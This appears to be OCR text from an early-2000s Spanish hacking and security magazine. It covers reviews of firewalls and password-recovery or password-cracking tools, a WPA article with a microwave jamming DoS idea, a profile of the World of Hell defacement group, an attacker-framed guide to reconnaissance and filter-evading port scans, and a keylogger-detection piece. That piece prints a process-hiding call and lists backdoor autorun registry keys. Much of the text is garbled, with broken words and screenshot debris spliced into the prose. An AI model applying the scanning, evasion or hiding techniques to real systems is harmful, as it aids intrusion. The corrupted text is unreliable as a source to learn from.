ejecutable nos protegerd de
los mayores pelmazos de la
red, pero si no lo hacemos
bien, en lugar de ello, Spam-
Pal puede considerar basura
mensajes que realmente
queremos leer, como la ha-
bitual Natasha que se pirra
por nosotros,

""-.""‘""B'...‘.'."-

P

< http://www.spam- Lc: esteganografia es una téc-
nica verdaderamente intere-
sante, por cuanto hay adn algu-

Purge IE 5.01

equefio, ligero y eficaz, Purge IE

funciona como una escoba que
pasa por encima de nuestros pa-
sos para evitar que alguien que
acceda a nuestro equipo puda sa-
ber qué hemos hecho por Infernet.
El programa se puede descargar
de http://www.purgeie.com/, se
puede utilizar 15 veces y luego es
preciso pagar unos 20 délares. La
versién Pro es algo mds rica en
funciones, pero cuesta diez déla-
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| estd disponible en versién
demo en el sitio
hitp://www.insight-con-

funcionamiento es idénti-
co a ofros muchos pro-
| gramas, Cloak fiene un
aspecto extremadamente
" cuidado y también el sitio

parece decididamente bien he-
cho. Los estetas del cifrado
también saben elegir.

\

7 ! \

Email EHprleés

de los usuarios de la

Mucho mds rico en funciones,
pero gratuito sélo durante
los primeros 60 dias, es Email Ex-
press. La versién Pro, aparecida
no hace mucho, es altamente
configurable y puede satisfacer
las exigencias de la mayor parte

Red. Ningin progra-
ma antispam es infali-
ble, pero este funciona
francamente bien. La
lista de spammer se
actualiza con frecuen-
cia y se pueden modi-
ficar facilmente incluso
a mano. El sitio de Pri-
vacy Labs, bien organizado y
bastante veloz, estd en la direc-
cién  hitp://www.privacylabs.net,
Hagamos una visita aunque no
nos interese Email Express, pues
hay un par de programas free-
ware que merecen la descarga.

o
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HERR
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Nucem 2.0
[~ 1B/
i AR e 2 blema de que, no se
- @1 X Coth Gty e Cssens S 1 Euce 2| entiende por qué, i
w—— una americana que
"G i R '
E‘-’-‘"‘f{ olue.. IIn-mh M!:l Fliﬂ_l'?ﬂ.' T Se 'pirra por nOSOTFOS
wts M e vt e e a | | GUIEre  que
U e ket mi 0| | VOYOMOS @
b= | ler\l_ Fresh Out of School snd resdy fo. Fri13/30). 368 g
S % bws  BestPrices ke Frb 1220/ 560 ver su sitio de
o Jeey  Inaredible Chewtina Grabs Hers, Fril2/20/. 600
pago, Nucem
2.0 la blo-
quea de in-
mediato, pe-
b I T | ro por lo de-
B VY pro-

eloz, simple, préctico y has-
ta barato. Se llama Nucem
2.0 y muchos de nosotros lo he-
mos probado con una cierta sa-
tisfaccién. Siempre existe el pro-

Do you want to allow Firewall Leak. Testing Utility to
access the Inlemet?

Technical information

Destination IP; 204.1.226 226 HTTF
Application: winword, exe

Versior:: 1.2

More Information Available

Thiz program has previously accessed the Intemnet,

AlertAdvisor | Morsinfa

— Hemember this answer the next time | use this
Pprogram.

'.‘-:a1r
=z

one Alarm es el cortafuegos
mas famoso y uno de los més

seguros, Muchos lo usan con sa-

Zone Alarm

grama no estd mal.
El sitio para descar-
gar la demo es
http://www.helpme-
soft.com/.

tisfaccién desde hace afios y se
gratis

puede descargar
http://www.zonelabs.com.

Sygate firewall

En el sitio http://soho.sygate
.com/ podemos, y debemos,
descargar uno de los mejores pro-
gramas corfafuegos en circulacién.
Tenemos que hacerlo no sélo por-
que protege nuestro equipo e impi-
de que un cracker se pasee como
Pedro por su casa por nuestros re-
cursos, sino que ademds Sygate
ofrece su cortafuegos gratis para
un uso personal. El corfafuegos de
Sygate es de los pocos, junto con
Zone Alarm, que ha sido capaz de
no dejarse enganar por LeakTest,
un genial ejecutable del que habla-
mos mds adelante y que hcguesk}

o

.ff"f

de._lé

La

A8 Spyfiot Search [ Destroy

Tiny Persomal Firewall

n fire-
] e wall
& . “de software es-

4 %/ 14 pensado para
@ mantener alejados de nues-
/

tro equipo a la mayor parte de
pelmazos que se pasean por
Internet. Tiny Personal Firewall
siempre ha sido gratis, pero a
partir de la versién 4.5 ha he-

cho como tantos ofros: se pue:
de probar durante 30 dias
luego es preciso compraria
Aunque este cambio sea mo
lesto, comprendemos a la gen
te de Tiny software, en el sitic
http://www.tinysoftware.com/
Se trata de un programa exce
lente y robusto, y tienen dere
cho a sobrevivir.

W

y !
de rodillas a Blacklee v otros cono-
cidos cortafuegos.
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Use atl your own risk!

proteccién ofrecida por la ver-
sién bdsica es aceptable, pero la
de la versién Pro es excelente,
con la posibilidad de regular di-
versos pardmetros y permitir
operaciones y programeds uno
por uno. Zone Labs también pro-
duce uno de los instrumentos
mds elogiados por muchos
usuarios: Steganos Security Suite
4. Si tienes algo que ocultar, es-
te programa es para fi.

Irdo k Licenze
Program started
Sl

B SevFiename 8 Description Cheska

[=] Bt Spyboat - Search & Dashioy  Integrested saaich lor spyboty 2

[Z] B Disler.sbi Flemoves exponsive dalers w3

[Z] B Hiackers sk Seaiches for biowser stait page changers 1%

[#] B Keyploggers. b Femaves keyloggers A7

[Z] B Mahwaro sbi Removes macious software 10

(=] [ Sectsity.shi Fox securily beaks 2

[Z] B Seybots ki Remaves spying and adverdisement toltwaie 1267

=] B Trojans.ehi Saarches lon icgan horses T

| T 1 Systom Intemats Inkegeated search for iegislry inconsistenciet 12

Tocis | [£] 8 Usage Tracking Integreated seaich lof usage fracks 2
e B Tracks.uti Search for usage tiacks 9

a esteganografia es una

técnica verdaderamente
interesante, por cuanto hay
aun algunos limites que su-
perar. El programa Cloak
6.0 estd disponible en ver-
sibn demo en el sitio http:
//www.insight-concepts

.com/. Si bien su funciona-
miento es idéntico a ofros
muchos programas, Cloak
tiene un aspecto muy cuida-
do y también el sitio parece
decididamente bien hecho.
Los estetas del cifrado tam-
bién saben elegir.
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¥ Popup

W'

' 'Cuando se
% navega

por Internet, siempre existe el
rlesgo de meterse en algin sitio
que se ha vendido el alma al dia-
blo a cambio de miles de venta-
nas que se precipitan en el moni-
tor de cada visitante. Si no nos sa-
tisfacen los popups, contar con
este programa puede mejorar
nuestra calidad de vida. Las ven-
tanas que aparecen de la nada se
terminan, y conservamos sélo los
sitios que nos interesan a salvo de
un sistema publicitario invasivo y

R:cordar una contrase-
Ao puede ser en oca-
siones dramdtico, y cuante mds
nos esforcemos en escribir algo
dificil de adivinar, més duro se-
ré recordar qué maldita combi-
nacién hemos elegido. Password
Recovery XP, de iOpus, casi im-

Password Recovery ®P

Zero Pro

odioso. Podemos descargar Po-
pup Zero Pro en http://www.
pcssafe.com/ y usarlo durante un
mes. Luego tenemos que pagar
algo menos de 20 délares por la
licencia. Del
mismo sitio po-
demos descar-
gar también
Tracks Eraser
XP,  préctico
para borrar el
rastro que de- o
jamos al nave-

Summary

Naw ataming, ik "Abot” Lo stap.

)(.nm

"Ad-Aware ” #

[
se meten en el PC, hasta la
Professional, que cuesta casi
| 40 délares pero que bloguea
también los popup, los intentos

51 de desviar al navegador du-

gar por la Red. ey
| programa mds famoso y ufi-
lizado para quitar de en medio
spyware y ofras fastidiosos anima-
lejos fiene un nombre: Ad-Aware.
Las versiones que se pueden des-
cargar de http://www.lavasoft.de/
van de la gratuita, que busca y

elimina los programas espia que

ner en htftp://www.iopus.com Yy,
en el mismo sitio, encontramos
también el hemano menor (y
gratuito) de Password Recovery:
123 Write All Stored Passwords
(WASP) V2.01. Este pequefio
programa permife recuperar ré-
pidamente todas las contrasenas

e faNte la navegacién y las dre-

presiona: extrae las contrasefias guardadas
de Windows como si estuvieran en el archi-
guardadas en un archivo de tex- vo de Win-
o... El programa se puede obte-  dows.

Vida facil: una suite

Para quienes cuenfan con
algo de dinero para gas-
tar (bien) o tal vez cuentan
con una pequena fortuna y
prefieren tener "sélo software
original', recomendamos
que consideren la adquisi-
cién de Tiger Suite 4.0 (169
$l). Es una verdadera acu-
mulacién de programas que
funcionan bastante bien y proporcionan de una sola vez
todo lo necesario para analizar y mejorar la seguridad
del propio sistema y de la red. Tiene tantas funciones que
no podemos listarlas aquf por problemas de espacio, pe-
ro puedes encontrarlas en el sitio www.tigerfools.net.

Disual Zip Password Recovery Processor 4.7

Un programa cue se vanagloria
de eludir el 90% de las con-
trasefias de proteccién de archi-
vos zipeados en 60 minufos es
mds bien apetitoso, y si luego
cumple lo prometido, pues mejor.
Descérgalo  desde  hitp://
www.zipcure.com/ y empieza
inmediatamente a ponerlo a
prueba con fus confrasefas:
verds cosas inferesantes. El pro-
grama se puede probar durante
un mes y luego es preciso pagar
unos 30 délares por la licencia.
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as de memoria que contienen da-
tos sensibles. Todo aquél que usa
el equipo con cierta seriedad ha
instalado al menos la versién fre-
eware, porque ser espiado por
desconocidos es una de las cosas
menos divertidas que se pueden
hacer en la Red.
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e llama WPA, Wi-Fi Protected
Access, y tiene que substituir
progresivamente al actual

estandar WEP de seguridad de
las redes wireless Wi-Fi El motivo es
simple: tal como ha sido concebido,
WEP da bastante asco. Su clave de
cifrado tiene dos posibles modos, a
64bits y a 128 bits. En realidad 24 bits
estan siempre reservados al llamado
vector de iniciacién y asi para la cla-
ve estan disponibles sélo 40 y 104 bits
respectivamente. Son valores que
iban bien hace unos anos, pero hoy
dia ya no, dado que las senales wire-
less las puede captar cualquiera. Con
tal que se encuentre en la zona justa,
con una buena antena, un malinten-
cionado puede interceptar las sefa-
les de llegada y, con un poco de suer-

LURIY
WIRELE!

hl
S

AlrPort Extreme

Protege ge de verdad tu
conexion wireless gracias

al nuevo estandar
de cifrado de claves

te, conseguir descifrarlo todo en unas
horas. Para quien vive en el campo no
hay problema, pero en un comunidad
de vecinos de una poblada ciudad no
es improbable que un vecino listillo
descubra que en el piso de al lado se
usa una conexion wireless e intente
aprovecharse de ella a costa de otro.
No hay una cifra de cuantas estacio-

= Wireless LAN Configuration Utility

< Proteccion
wireless
desactivada,
64 bits o 128
bits. iNo es
suficiente!

nes wireless estan fun-
cionando sin password o
con uno idiota del tipo
1234 o nombreapellidos.

IUPH a la
carga

WPA es un nuevo estan-
dar de seguridad cuya
finalidad es impedir que
el audaz vecino de rella-
no nos pueda quitar la
conexion. Hablando en

serio, sera la fortuna de muchas
empresas, siempre y cuando tengan
un administrador de red capaz de
usarlo. Las armas secretas de WPA
son el sistema de cifrado de datos
Temporal Key Integrity Protocol
(TKIP) y el protocolo de autenticacion
Extensible Authentication Protocol
(EAP).

El sistema funciona de dos maneras,
una para las empresas y otra para las
instalaciones individuales, como las
domeésticas. En el sistema empresa-
rial se utilizan un servidor de red y
sofisticados mecanismos de autenti-
ficacion para distribuir a los usuarios
claves de cifrado especiales, llama-
das claves master. En |la casa de uno,
en cambio, si no hay servidores de
red WPA funciona en modo PSK
(Preshared Key), que permite introdu-
cir manualmente las claves de cifra-
do. En la practica no cambia mucho,
se escribe el password de la estacion
y WPA se ocupa del resto. Pero el
cifrado resultante es mucho mas efi-

()CON EL WIRELESS SE GANA DINERO

i en el 2003 se vendieron en todo el mun-
do aparatos wireless Wi-Fi por valor de
siete mil millones de délares, desde ahora
hasta el 2008 se venderan 44.000 millones

| de dolares, unos 35.000 millones de-euros.
A groso modo, se podrian comprar con ello
mil jugadores de la Champions League.




. ‘
caz, graci_le_azl?aobre todo al < Netgear ME 103 es
sistema , que com- « S ;-
prende varias funciones une uptlmq ‘?:gtﬂcfﬂ"_
entre las cuales estia el de transmision Wi-Fi
cambio periédico de las cla- compatible can WPA
ves de cifrado, que dificulta lista para actualiza-
mucho mas que WEP el trabajo ciones del firmware.

de escucha y de descifrado por par-
te de los agresores externos a la red.
De hecho, la clave master queda esta-
tica y siempre igual en WEP, mientras
en WPA representa sélo el punto de
partida de la generacion de claves
diversas, que van cambiando y no se
utilizan nunca dos veces.

Las debilidades
de WWPA

del estandar, que deberia ser oficial a
mitad de afno. Puesto que las especifi-
caciones provisionales no seran muy
diferentes de las finales, algunas empre-
sas ya han empezado a producir apara-
tos wireless compatibles con WPA.
Microsoft y Apple soportan ya WPA en
sus sistemas operativos mas recientes
(MS con un parche de XP), y también se
puede utilizar con Linux. Pero hay que
estar atentos, puesto que al ser provi-
sional existe el riesgo de que el sistema
tenga todavia fallos y que los aparatos
que se compran no sean tan seguros
como los que saldran al mercado cuan-
do se lance la version definitiva de WPA.

WPA todavia no se ha aprobado defini-
tivamente. El Task Group | (Security) del
IEEE ha hecho un borrador provisional

AGUJERO EN EL MICROONDAS Y ATAQUES DE DOS

al como esta disefiado, WPA esta expuesto a atagues de tipo DoS (Denial of Service),
es mas, los alenta. De hecho, el sistema esta predispuesto de manera que cierra duran-
te 70 segundos la estacion de acceso wireless en caso de agresion al sistema, Con ello
se protegen los datos, pero se impide también utilizarlos a los usuarios legitimos. Un malinten-
cionado podria organizar una serie
de ataques temporizados
dejando siempre inutiliza-
ble una estacion de acce-
0. Y es tan sencillo como
poner cerca de la estacion
un horno microondas agu-
jereado de mar
saliesen las onda
gitud de onda es la misma
y el horno podria interferir
con la transmision regular
del wireless!

e

m QUE ES EL IEEE

i | Institute of Electrical and Electronics
i Engineers (IEEE) existe desde hace mas
4 de un siglo y se ocupa de muchas cosas,
A entre las cuales esta definir estandares,
como se puede ver en la direccion
http://standards.ieee.org/. IEEE 802.11, por
ejemplo, es la sigla que comprende los
estandares de red wireless.

TANDARDS |
|
§SOCIATION]|
|

m NO NOS DEJEMOS
TOMAR EL PELO

PA, en otras palabras IEEE 802.11i,
que representard la nueva genera-

| ci6n de la seguridad WiFi, esta todavia en

:H fase de perfeccionamiento. Asi pues, quien
1 compra ahora un producto wireless tiene
que fijarse en las especificaciones. Es
importante que el aparato se pueda actua-
lizar en el momento en que esté disponi-
ble la version mas avanzada del estandar.

m MAS SEGUROS
MENOS USUARIOS

En muchos sistemas wireless la mayor
seguridad dada por el sistema WPA se
ohtiene a costa de reducir el nimero maxi-
mo de personas conectadas. En la mayoria
de los casos no tiene importancia, pero en
grandes redes muy concurridas podran cre-
arse problemas.




El Gran

Una visita inesperada y tu vida cambia, como cambian
las cosas en este mundo infernal: se trata de

emphis, martes 27
de noviembre de
2001, a las 17: el
corazdn quincearie-
ro de Cowhead2000 late a toda
pastilla, tiene la sensacion de
estar a punto de desmayarse.
Delante de la puerta de su easa hay un
pufiado de agentes federales, su madre
esta palida y las tajetas de identificacion
se agitan amenazadoras. Dos meses
después del ataque a las torres geme-
las maméa Cowhead se da cuenta de
repente de que su hijo, su nifio gue esta
siempre pegado a la pantalla del orde-
nador, esta buscado por grupos antite-
rroristas de medio mundo. Hacia algu-
nos meses Cowhead habia fundado
World of Hell, un grupo hacker formado
por miembros totalmente desconocidos
entre ellos. El reclutamiento se hacia por
via email, mediante IRC, siempre con
nicknames que cambiaban a la misma
velocidad con la que los agentes inten-
taban interceptarlos.

Los federales lo tranquilizaron en segui-
da. No estaban alli para arrestarlo, sino
para aclarar algunos puntos, ¢Cuales?

Owned by spyR Ocker

| spyRockar, | RaFa | dawygy,root, Fane Tons and Kedn |
Wa sbill In United af WOH

suppartz || UGEIA

Se dice pronto. Entre los miembros del
grupo habia un tal Ra_Fa, que a su vez
era el fundador de otra galaxia de hac-
kers, decididamente mas feroz. Entre sus
ataques, siguiendo teorias mas o menos
patridticas habia una serie de tentativas
de derribar las redes IP afganas y pales-

World of Hell

tinas. Y no sdlo esto, ademas se jacta-
ban, gracias a periodistas avidos de una
exclusiva de tercera, de poder lanzar ata-
gues hasta a las redes secretas de Al-
Qaeda. Y de poderlo hacer porque teni-
an mas de mil ordenadores por todo el
mundo, a punto para obedecer sus orde-
nes telematicas en cualquier momento.
El FBI decidié que ya era suficiente y que
querian saber mas sobre el tema.

La visita al adolescente Cowhead2000
era pues de tanteo, lo que querian era
saber si se trataba de fanfarronadas de
chavales fanaticos de la tecnologia o de
terroristas reales, potencialmente muy
peligrosos en ciernes,

Segdn las notas de los
agentes federales
"Cowhead2000 tenia en
su casa no una
habitacion, sino un
verdadero laboratorio

~ stiper equipado”

| ﬁyl_éj:WﬁWiﬂtaﬁ ker-journal.com

El cuarto del quinceafiero era
en realidad un laboratorio equi-
pado de miedo, con cinco orde-
nadores con todos los sistemas
operativos existentes, No hace
falta decir que contaba eon una
conexion ultrarrapida a Internet.
Lo que Cowhead2000 tenia en
casa no era una habitacién, sino
un concentrado de tecnologia,
Todo ello reflejaba tanto su
pasion ecomo su preparacion
informatica y una capacidad
destructiva impresionantes.

El grupo World of Hell fue crea-
do en marzo del 2001, El método de
reclutamiento era totalmente profesional,
se atacaba un sitio y se dejaba un men-
saje del tipo: "se buscan verdaderos pro-
gramadores, no lamers, no newbies", Se
podia permanecer en el grupo solo si no
pasaban mas de unas pocas semanas
entre un ataque exitoso y otro. Asi World
of Hell se dio a conocer rapidamente por
violaciones a sitios como el del Ministe-
rio de Educacion de Hong Kong, el de
Sony Semiconductor Foundry Service, o
a sitios del tipo del de los servicios de
banda ancha de Time Warner,

Pero era sélo el principio. Se impuso
cuando dejé con la boca abierta a los
responsables gubernamentales mexica-
nos y rusos porque centenares de sus
sitios web habian "fallecido" bajo la pre-
sion de ataques masivos firmados por
WoaH, sus siglas.

La étlca que inspiraba estos ataques
era la vision negativa del mundo que
les rodeaba que tenia el grupo: "un
mundo de infierna". El espacio digital
era al mismo tiempo un modo de rei-
vindicar todos los aspectos mas crudos
de la realidad en forma de hacking.




Todos eran altamente especializados
y, aunque no se hubiesen visto nunca
cara a cara, se fiaban los unos de los
otros, llegando a un altisimo grado de
confianza. Uno de los miembros dice
que este factor era el elemento esencial
para conseguir los ataques. Entrar en
World of Hell era come haber supera-
do un examen de "verdadero hacker".

Una galasia de
atacqntes

Entre los varios miembros, RaFa,
FonE TonE y dawgyg eran los
mas peligrosos. Tenian contactos

by unanartal of Wikl

questions, commente? fuak yau, heb

oscuros (se cree que directamente con
Al-Qaeda, pero no es seguro). El FBI
abrié un dossier.

En abril de 2001 se
contaron mas de
cien atagues

El divertimento era similar a un hacking
de diversion, se entraba ilegalmente en
los sistemas, pero na se creaban casi
nunca danos irreversibles. Solo se cam-
biaba la home page de la victima y se
substituia con algun mensaje moral o
reflexion sobre la sociedad.

RaFa era el elemento mas destacado, o
al menos el que se atribuia mas intrusio-
nes y mas especiales. Qdiaba el siste-
ma y luchaba por cambiarlo, atacaba los
sitios y dejaba su huella con asperas cri-
ticas. Pero las incursiones mas graves
las habia llevado a cabo FonE_TonE.
Hacker desde los 11 afos, habia reco-

pilado un ingente material en manuales,
scripts y herramientas, y los habia estu-
diado morbosamente. Aun se jacta de
numerosas publicaciones y guias de hac-
king, pero nosotros lo recordamos por
su actividad, Antes de World of Hell, que
limité un poco su "eyber violencia", fue
un elemento destacado de rOOt-access,
otro grupo hacker de aquel periodo. Su
lema era; "me gusta descubrir cosas nue-
vas, entender qué es lo que puedo hacer
y qué es lo que no puedo hacer”.

FonE_TonE era hacker
desde los 11 anos, estu-
diando morbosamenite
una cantidad impresio-
nante de manuales

El problema era que aunque sabia qué
era lo que no podia hacer, lo hacia de
todos modos. No se puede definir un
cracker, pero causé muchos dafios.
Como cuando en julio violdé al mismo
tiempo dos sitios, uno era el de Prostar
Interactive Media Works (http://www.mini-
cat.com/), al que enganché una pagina
con un caballero negro con una arma-
dura de metal, sobre un fondo de rayos,
dejando una direccién electrénica para
que los administradores del sistema se
pusieran en contacto con él.

Otro miembro enfadado con el
sistema era KrOn: concretamen-
te se ensafaba contra el mundo
de la escuela, que -segiin decia
él- no saciaba su curiosidad mor-
bosa por el desafio digital. Y le
creemos. Hacker experto, jugaba a fut-
bol y salia con amigos como todos sus
coetaneos, pero en cuanto se ponia fren-
te al ordenador, cambiaba de rostro. Par-
ticipo en el periodo de oro de World of
Hell. Era el mas ligado a la verdadera
ética hacker, "No puedes parar de ser un
hacker, es un estado mental", es la'fra-

"{Ml_wv&mzhacﬁer—ig irnal.com

se mas repetida en sus mensajes-entre-
vista. Sus técnicas eran las mas origina-
les, y era la punta de diamante de los
sistemas Unix. KrOn viola un sitio sélo
si tiene algo que comunicar. De todos
modos, después del "agujera" advierte
siempre al administrador victima.

El fin
Después de la visita del FBI
Cowhead2000 se escondid... ¥
World of Hell cambié su estruc-
tura. RaFa, FonE_TonE e dawgyg
abandonaron el grupo, posihlemente
también asustados por las posibles con-
secuencias. Los sustitutos no estaban
para nada a la altura, En diciembre de
2001 le toco a Cowhead2000. Posible-
mente asustado, dejo su puesto de lider
de WoH. Se cerraba una era. Cowhe-
ad2000 se sentia defraudado por las
degeneraciones politicas de RaFa y de
dawgyg y no veia en los otros miembros
el espiritu originario con el que habia fun-
dado el grupo hacker. World of Hell se
habia puesto el ambicioso objetivo de
cambiar el mundo de los crackers,
"moralizarlos", |levarlos por la via de la
curiosidad hackeristica "pura y sin
darios", pero no lo consiguio. Conclusion:
mejor dejar el puesto a otro. Cowhe-
ad2000 todavia esta presente si lo bus-
cais. Su actividad moralizante no quiere
cesar, aunque, a pesar de los esfuerzos,
este sigue siendo "un mundo infernal".
Y el FBI ha abandonado la presa, o esto
es lo que parece...




En el absurdo caso gue fuésemos hackers y quisieramaos entrar en un sitio para
demostrar que no es tan imposible de atacar, tal como dice su admin, antes
que nada tendremos que ver claro el escenario frente al que nos encontraria-
mos en el momento del ataque.

| escenario consiste, evidentemen-
te, en el sistema operativo y en los
servicios utilizados por aquel ser-
vidor, en concreto donde se encuentran
las paginas que queremos atacar.
¢ Pero, como se puede obtener toda

& Mot

esta informaciéon? Hoy dia existen infi-
nidad de recursos para recopilar cuan-
ta mas informacion posible acerca de
los diferentes servidores. Este es sin
duda el momento critico de cualquier
ataque, basta pensar los report de defa-
cement famosos que demostraban que
a menudo detras de una accién de
30/60 segundos como maximo, habia
semanas, si no meses, de busquedas
repetidas e incesantes.

El escaneo de puntos débiles se utili-
za ya desde hace muchos afios, pero
se basa siempre en el mismo concep-

to, es decir, en interrogar el maximo
nimero de puertos posible para con-
trolar cudles de ellos estan abiertos y
vulnerables a posibles ataques.
Veamos a grandes lineas cuales son
los pasos clave para obtener lo que
necesitamos.

El whois

Buscar en una determinada red de
Internet puede resultar bastante dificil
por la enorme cantidad de redes que
puede contener. Para ello tenemos la
ayuda de un instrumento muy facil de
utilizar: el whois. Es un servicio de Inter-
net que, dada una especifica cuenta en
un dominio, permite recoger mucha
informaciéon como URL o usuarios
conectados a él. InterNIC es uno de los
entes mas destacados por este tipo de
aplicacion, ya que es el
organo delegado para la
atribucién de nombres
de dominio y de direc-
ciones IP. Desde el
momento en que tengo [
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segundo momento, controlar que efec-
tivamente aquella IP esta activa cuan-
do planeo el ataque. Para llevar a cabo
estas dos operaciones utilizo un Gnico
servicio, conocido con el nombre de
PING. No es otra cosa que el envio de
una peticién ICMP de tipo eco a la cual
el ordenador remoto responde con un |
paquete de tipo PONG, que contiene,
entre otras cosas, también la direccién
IP del mismo PC.

Atagques Social
engeneering

La ingenieria social ha sido, desde los
inicios de la cultura hacker, el método
mas utilizado para hacerse con infor-
macion. Se basa fundamentalmente en
las capacidades personales de hacer-
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mita descubrir el forma-
to alfanumérico mnemo-
nico de la direccion IP
asociada y, en un

Haciendo PING de un dominio se recibe la IP
correspondiente y otros datos interesantes.




se creible frente a terceros, y aprove-
charse de la confianza adquirida en el
tiempo para obtener privilegios o para
"robar" elementos Utiles para el ataque,
Seguro que habréis recibido algln
email proveniente de cuentas ficticias
del tipo asistencia@proveedor.es que
os piden el password de vuestro correo
electronico jpara poner al dia los archi-
vos! Tipico ejemplo de ataque social
en el que el atacante simula ser un téc-
nico. Leyendo estas lineas pensaréis
que nadie puede caer en una trampa
como ésta; en cambio, jla cantidad de
personas que responden es de entre
un 20 y un 30%!

-Ataques scanning

Los ataques de tipo scanning, por lo
contrario, se basan puramente en la
tecnica, o mejor, en pura tecnologia.
Se utilizan instrumentos cuyo principio
de funcionamiento esta en enviar
paquetes a determinados puertos y ver
cudles son receptivos. Hay muchas
variantes de esta técnica:

+ Escaneo de puertos TCP: se envi-
an paquetes y se intenta establecer una
comunicacién con aquel puerto en con-
creto. Es el método mas simple y el
mas utilizado.

+ Escaneo de puertos TCP por frag-

Se puede ver la complejidad de
opciones que permiten escaneos de
varios tipos,

mentacion: es la misma técnica con la
diferencia que el header TCP se divide
en paquetes mas pequefios, de modo
que los filtros de proteccién no consi-
guen detectar el ataque,

* Escaneo SYN TCP: se basa en el
envio de un paquete SYN como para
abrir una conexion, si el PC responde
con una peticion SYN/ACK, nuestro
programa manda inmediatamente una
respuesta RST y cierra asi el proceso.
Tiene la ventaja de ser casi invisible y

la desventaja de ser mucho mas lento
que el anterior.

ANTES DE LA INTRUSION

EL ATACANTE TIENE QUE

RECOPILAR INFORMACION
SOBRE EL SISTEMA.

« Escaneo TCP FIN: técnica todavia
poco refinada que se basa en el princi-
pio que a menudo los puertos abiertos
que reciben paquetes FIN responden
con paquetes RST haciéndose asi
reconocer.

+ Escaneo UDP ICMP: como sabemos
el protocolo UDP no prevé intercambio
de paquetes ACK o RST, pero la mayo-
ria de hosts si recibe un paquete dirigi-
do_a un puerto UDP cerrado responde
con un mensaje de error y por exclusion
se llega a los puertos abiertos.

El Software

Son muchisimos los programas de tipo
scanner que se pueden encontrar en
Internet, casi todos validos y todos
basados en el mismo principio de fun-
cionamiento.

* Nai CyberCop: funciona tanto con
Linux como con Windows, valora los
puntos débiles de un sistema hacien-
do un escaneo. Consigue incluso ana-
lizar problemas de seguridad ligados a
servidores y hubs. Integra ademas una
funcién mediante la cual se pone al dia
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a través de Internet descargando la
base de datos de los puntos débiles.

+ Jackal: es un scanner Stealth
(escondido) basado en el principio de
funcionamiento del tipo SYN TCP,

« Nmap (www.insecure.org/nmap): un
escaner muy completo que tiene la
posibilidad de trabajar de diferentes
maneras segun sea la situacion, A
veces utiliza métodos invisibles, a
veces métodos rapidos. Incorpora los
principales métodos de escaneo.

» Tiger suite (www.tigertools.net): esta
considerado el mejor instrumento para
la seguridad de las comunicaciones
entre redes. Su velocidad no tiene para-
gon con otros escaneres y, ademas, es
el unico que integra también las
siguientes caracteristicas: network dis-
covery (identifica y hace un listado de
todos los puntos débiles de una red),
local analyzer (escanea el sistema local
detectando entre otras cosas virus, tro-
yanos y spyware), attack tools (un con-
junto de instrumentos que comprueban
la seguridad de un sistema simulando
ataques de diferente naturaleza). ;Un
defecto? Cuesta 69 dodlares,

Ejemplo de penetracion uiillz’nn-
do la herramienta TigerSuite.

Una vez efectuado el escaneo tendre-
mos vigilados una serie de puertos
abiertos. Ahora nuestra técnica y nues-
tra fantasia deben deducir como y qué
utilizar para sacar el mayor provecho a
estos recursos, Si hemos llevado a
cabo un escaneo en nuestro servidor
para controlar su seguridad, tenemos’
que recordar que nunca un ordenador
conectado a Internet, por definicion, -
puede ser seguro al 100%. Nuestra
destreza esta en estar al dia sobre las
Ultimas técnicas de protecciéon y en el
ponerlas en practica buscando levan-
tar lo mas altos posible los muros que
rodean nuestra "ciudad". &




COMO AISLAR PROGRAMAS MALICIOSOS EN TU PROPIO EQUIPO

CLANDESTINOS
A 30RDO

Programas como los caballos de Troya o los key-
loggers a menudo se esconden en el sistema
infectado y no se borran facilmente con las utili-
dades mas comunes: he agqui como descubrirlos.

omo hemos visto en los nimeros pasados, los key-
loggers pueden resultar ser potentes instrumentos
a disposicién de los crackers y lamers de todo tipo,
ya que son muy fdciles de instalar y configurar,
Por esto es indispensable comprender sus me-
canismos de funcionamiento para identifi-
car su eventual presencia y proceder a una desinsta-
lacién.
En los sistemas operativos mas simples, como las versiones de
Windows que llegan hasta la Millenium, para los programa-
dores siempre ha sido fécil ocultar (al menos a los ojos de la
mayoria de los usuarios) la presencia de procesos presenfes
en la memoria con estratagemas muy simples.
Un ejemplo podria ser, usando un lenguaje de programacion
cualquiera, el siguiente cédigo:

RegisterServiceProcess (GetCurrentProcessId(
)r 1)

De esta forma, el usuario que intente obtener la lista de los
procesos activos con el Administrador de tareas
(Ctrl. +Alt+Supr,) no veria el proceso "escondide" en la lista
que muestra todos los programas abiertos, Una solucién a tal
inconveniente podria ser la adopcién de un programa ade-
cuado y més avanzado respecto a la lista de fareas esténdar,
como por ejemplo AVP System Watcher disponible en la di-
reccion www.avp.it/future.htm.

Mejor adn, conviene tener confianza en sistemas operativos
como NT/2000/XP que al menos ya bloquean de entrada es-
tas rudimentarias técnicas de enmascaramiento.

>> tuncionalidades de keyloggers y
backdoors

Una vez que un backdoor se ha instalado en un ordenador,

necesita activarse cada vez que el usuario activa su propio or-
denador. Para obfener su objetivo, debe posicionarse
obligatoriamente en uno de aquellos archivos que se
leen en el momento del arranque y que son WIN.IN| y
SYSTEM.INI ademas del Registro de Windows. De este Gltimo,
en particular, no hay que perder de vista algunas claves cri-
ticas:

HKEY LOCAL_MACHINE\Software\Microsoft\Windows\Cu
rrentVersion\Run

HKEY LOCAL MACHINE\Software\Microsoft\Windows\Cu
rrentVersion\RunOnce

HKEY LOCAL MACHINE\Software\Microsoft\Windows\Cu
rrentVersion\RunOnceEx

HKEY LOCAL MACHINE\Software\Microsoft\Windows\Cu
rrentVersion\RunServices

HKEY LOCAL_MACHINE\Software\Microseft\Windows\Cu
rrentVersion\RunServicesOnce

Estas son en efecto las claves mas usadas por los
backdoors que se encuentran en la red, aunque hace falta
prestar atencién también a todas las operaciones que coti-
dianamente cumplen los usuarios como la ejecucién de pro-
gramas y la apertura de documentos HTML:

HKEY CLASSES_ROOT\exefile\shell\open\com-
mand

donde el valor inalterado deberia ser similar a esto:
"%1 %

HKEY CLASSES ROOT\htmlfile\shell\open\com-
mand

con valor similar a:
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"C:\PROGRA~I1\INTERN~1\iexplore.exe" -nohome

En lugar del valor %1 podria haber el recorrido de un back-
door, que asi serd activada a cada ejecucion del programa,
Estas son las técnicas principales para que arranque un pro-
grama de espionaje al iniciar, incluso
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La ufilidad msinfo32, presente en e e utables del siste-

e visudlizar los ejec
{ Windows, permite Visuct ;
{:?ane: c(tiaen ello encontrar los eventuales keyloggers

[ Buscar stlo pombres de categolia
s = .
rte de las instala-

puede haber va-

riaciones en el sistema como el uso del comando AT,

que es un servicio exclusivo de los sistemas NT/2000/XP y que
